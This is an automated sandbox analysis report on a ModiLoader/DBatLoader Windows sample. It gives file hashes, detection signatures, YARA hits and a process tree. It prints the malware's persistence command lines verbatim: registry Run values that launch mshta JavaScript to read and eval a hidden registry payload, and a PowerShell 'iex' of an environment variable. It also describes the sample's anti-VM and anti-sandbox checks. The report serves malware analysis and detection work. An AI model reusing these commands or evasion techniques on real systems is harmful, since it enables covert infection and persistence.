Analysis
- max time kernel
150s - max time network
153s - platform
windows7_x64 - resource
win7-20220414-en - submitted
05/07/2022, 03:11
Static task
static1
Behavioral task
behavioral1
Sample
1c76a4b273d68a5c88c113be47c43d14.exe
Resource
win7-20220414-en
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
1c76a4b273d68a5c88c113be47c43d14.exe
Resource
win10v2004-20220414-en
windows10-2004_x64
0 signatures
0 seconds
General
- Target 1c76a4b273d68a5c88c113be47c43d14.exe
- Size 361KB
- Sample220705-dplhmsfdc9
- SHA256 0f57fcea577dd96f1974a14c2156f3f17ab8facf2587b018969072dffdcccee8
- MD5 1c76a4b273d68a5c88c113be47c43d14
- SHA1 0775aea2722c8c40d14a8ff3a1814f38c31b0e98
- SHA512 8382caab1da34fea28e179e605881804e35189a5d1c50063cb196f93317d3680ca5d4cc5d62b8231fa56316cbb7054c476bdc0485522d540ce2e132afdeaeef4
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2040 1116 mshta.exe 28 - Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe - Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
description ioc Process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe - ModiLoader Second Stage 11 IoCs
resource yara_rule behavioral1/memory/1376-57-0x0000000000400000-0x000000000045E000-memory.dmp modiloader_stage2 behavioral1/memory/1376-58-0x0000000000320000-0x00000000003E0000-memory.dmp modiloader_stage2 behavioral1/memory/1376-60-0x0000000000320000-0x00000000003E0000-memory.dmp modiloader_stage2 behavioral1/memory/2000-63-0x0000000005D20000-0x0000000005DE0000-memory.dmp modiloader_stage2 behavioral1/memory/2000-67-0x0000000005D20000-0x0000000005DE0000-memory.dmp modiloader_stage2 behavioral1/memory/1360-69-0x0000000000160000-0x0000000000220000-memory.dmp modiloader_stage2 behavioral1/memory/1996-73-0x0000000000270000-0x0000000000330000-memory.dmp modiloader_stage2 behavioral1/memory/1376-74-0x0000000000400000-0x0000000000436000-memory.dmp modiloader_stage2 behavioral1/memory/1376-75-0x0000000000320000-0x00000000003E0000-memory.dmp modiloader_stage2 behavioral1/memory/1360-76-0x0000000000160000-0x0000000000220000-memory.dmp modiloader_stage2 behavioral1/memory/1996-77-0x0000000000270000-0x0000000000330000-memory.dmp modiloader_stage2 - Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:Mas5RBD3gG=\"PXj1F\";M1u=new%20ActiveXObject(\"WScript.Shell\");n2cDibTK=\"k86C\";a9cNF=M1u.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\fdb2bc38bb\\\\026cc84b\");jHQ2vc6S=\"dcDetWgP\";eval(a9cNF);zjp4q2ekb=\"aSVDSVMta\";" regsvr32.exe - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe - Deletes itself 1 IoCs
pid Process 1360 regsvr32.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:pxGLW5C=\"wyX4\";n94M=new%20ActiveXObject(\"WScript.Shell\");FtrVo42n=\"NrzRHp7JS0\";K5eDc=n94M.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\fdb2bc38bb\\\\026cc84b\");RYGofw55oC=\"rK5R\";eval(K5eDc);oFs3yRSe2=\"uiWb\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:GuQS8TwlM=\"H4nX\";q3z=new%20ActiveXObject(\"WScript.Shell\");cctlaV5zC=\"RFGJCR\";Cm6Ce=q3z.RegRead(\"HKCU\\\\software\\\\fdb2bc38bb\\\\026cc84b\");NATOcv6=\"7QULTp7\";eval(Cm6Ce);wCV5kl4Ka=\"Sd\";" regsvr32.exe - Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Internet Explorer\Main mshta.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2000 powershell.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe - Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 2000 powershell.exe 2000 powershell.exe 2000 powershell.exe 1360 regsvr32.exe 1360 regsvr32.exe 1360 regsvr32.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2000 powershell.exe - Suspicious use of UnmapMainImage 1 IoCs
pid Process 1376 1c76a4b273d68a5c88c113be47c43d14.exe - Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 2040 wrote to memory of 2000 2040 mshta.exe 30 PID 2040 wrote to memory of 2000 2040 mshta.exe 30 PID 2040 wrote to memory of 2000 2040 mshta.exe 30 PID 2040 wrote to memory of 2000 2040 mshta.exe 30 PID 2000 wrote to memory of 1360 2000 powershell.exe 32 PID 2000 wrote to memory of 1360 2000 powershell.exe 32 PID 2000 wrote to memory of 1360 2000 powershell.exe 32 PID 2000 wrote to memory of 1360 2000 powershell.exe 32 PID 2000 wrote to memory of 1360 2000 powershell.exe 32 PID 2000 wrote to memory of 1360 2000 powershell.exe 32 PID 2000 wrote to memory of 1360 2000 powershell.exe 32 PID 1360 wrote to memory of 1996 1360 regsvr32.exe 33 PID 1360 wrote to memory of 1996 1360 regsvr32.exe 33 PID 1360 wrote to memory of 1996 1360 regsvr32.exe 33 PID 1360 wrote to memory of 1996 1360 regsvr32.exe 33 PID 1360 wrote to memory of 1996 1360 regsvr32.exe 33 PID 1360 wrote to memory of 1996 1360 regsvr32.exe 33 PID 1360 wrote to memory of 1996 1360 regsvr32.exe 33
Processes
-
C:\Users\Admin\AppData\Local\Temp\1c76a4b273d68a5c88c113be47c43d14.exe"C:\Users\Admin\AppData\Local\Temp\1c76a4b273d68a5c88c113be47c43d14.exe"1⤵
- Suspicious use of UnmapMainImage
PID:1376
-
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:IxPQiY5="lU";dl5=new%20ActiveXObject("WScript.Shell");MSYVx65f="D3";R3AKT=dl5.RegRead("HKLM\\software\\Wow6432Node\\FwNiWISr\\jtxPQw");jmwp9N1kTN="1193BwMoH";eval(R3AKT);NANz20iBRO="lx0a1";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:hpcdv2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2000 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1360 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:1996
-
-
-